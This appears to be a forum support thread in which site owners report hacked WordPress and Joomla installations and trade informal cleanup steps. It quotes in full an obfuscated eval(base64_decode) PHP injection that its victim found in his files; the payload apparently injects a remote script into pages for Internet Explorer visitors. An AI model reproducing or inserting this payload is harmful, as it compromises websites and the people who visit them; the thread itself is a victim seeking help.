Thread Starter
Fab_DM
(@fab_dm)
Does your reply mean that i’ve been hacked then? 🙁
Thread Starter
Fab_DM
(@fab_dm)
🙁
Very bad…
Problem is that i’m not an expert and i don’t know how to clean the site. Checking the guides you gave me i don’t understand how to do it 🙁
My site was definitely hacked… but I’m not sure why or what it is doing? So far I have found a block of code inserted into the wp-index file and the dashboard.php files…
What the hack does visibly is bascially yank out the css on the dashboard so the admin side looks like an unstyled html doc… when I opened up the files I found this code inserted at the top:
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmIChzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA2Iil8fHN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJNU0lFIDciKXx8c3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sIk1TSUUgOCIpfHxzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA5IikpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dFpYRmhjMmh2Y0hCbGNtTnZiUzVqYjIwdmEyOHVjR2h3SWo0OEwzTmpjbWx3ZEQ0PSIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUN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lcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0="));?>
Any ideas on how to get rid of this or clean my site would be greatly appreciated…
thx,
Derek
yes you were hacked
my joomla site was hacked with teh same code
i know how it gets there ( through your FTP connection )
but your question Fab_DM
was how to correct this
incase it happens next time yuo need to open your FTP tool
chcek the DATE CHANGED on all files
pull down all the files that were effected on the same date.
If you have dreamweaver at this point
it would help you out ALOT!!
Also via your FTP tool, look for any IMAGES that were effected same day
Dont download these images
just delete them from the server and upload new ones
Yes it even infects images.
OK now with dreamweaver, use the FIND / EDIT ALL function.
What you need to do is open one of the php files in dreamweaver
and look at the code
HIGHTLIGHT the code then click EDIT > FIND and REPLACE
In the top box you should PASTE the code you highlighted
that code would ONLY be the script that was inserted into your page
in the BOTTOM BOX
leave it blank
now before you hit EDIT you need to tell dreamweaver to file ALL THE FILES INSIDE THE FOLDER on your computer
where you downloaded all the files to.
It will search all pages in that folder
remove the script info
then you can SAVE ALL PAGES
Now you have to do it again for that extra bit of script it added at the BOTTOM of your same php pages
do the steps again with new pasted code
SAVE ALL PAGES
reupload and you are done
now the final step is
CHANGE ALL PASSWORDS EVERYWHERE including access to your FTP
if you want to know what this code does just reply
ill let ya know